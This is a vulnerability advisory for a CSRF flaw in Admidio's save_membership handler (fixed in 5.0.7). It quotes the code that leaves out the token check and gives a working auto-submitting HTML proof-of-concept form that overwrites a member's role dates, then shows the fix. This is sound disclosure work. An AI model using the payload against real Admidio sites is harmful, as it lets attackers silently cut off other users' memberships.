| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| admidio/admidio | < 5.0.7 | 5.0.7 |
| admidio | < 5.0.7 | 5.0.7 |
The save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 40-42
The CSRF guard covers only two of the three mutative modes:
if (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}
The save_membership mode is missing from this array. The handler then proceeds to read dates from $_POST and update the database without any token verification:
} elseif ($getMode === 'save_membership') {
$postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true));
$postMembershipEnd = admFuncVariableIsValid($_POST, 'adm_membership_end_date', 'date', array('requireValue' => true));
$member = new Membership($gDb);
$member->readDataByUuid($getMemberUuid);
$role = new Role($gDb, (int)$member->getValue('mem_rol_id'));
// check if user has the right to edit this membership
if (!$role->allowedToAssignMembers($gCurrentUser)) {
throw new Exception('SYS_NO_RIGHTS');
}
// ... validates dates ...
$role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);
echo 'success';
}
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 131-169
File: D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php, lines 218-241
The membership date form is created via FormPresenter, which automatically injects an adm_csrf_token hidden field into every form. However, the server-side save_membership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.
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Quét site miễn phíFile: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121
The allowedToAssignMembers() check grants write access to:
isAdministratorRoles() (role administrators), orrol_leader_rights set to ROLE_LEADER_MEMBERS_ASSIGN or ROLE_LEADER_MEMBERS_ASSIGN_EDITRole leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.
The save URL for the membership date form is embedded in the profile page HTML:
/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID>
Any authenticated member who can view a profile page can extract both UUIDs from the page source.
The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:
<!DOCTYPE html>
<html>
<body onload="document.getElementById('csrf_form').submit()">
<form id="csrf_form"
method="POST"
action="https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>">
<input type="hidden" name="adm_membership_start_date" value="2000-01-01">
<input type="hidden" name="adm_membership_end_date" value="2000-01-02">
</form>
</body>
</html>
Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).
Note: No adm_csrf_token field is required because the server does not validate it for save_membership.
save_membership to the existing CSRF validation check// File: modules/profile/profile_function.php, lines 40-42
if (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}
} elseif ($getMode === 'save_membership') {
// Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)
$membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $membershipForm->validate($_POST);
$postMembershipStart = $formValues['adm_membership_start_date'];
$postMembershipEnd = $formValues['adm_membership_end_date'];
// ... rest of save logic unchanged
}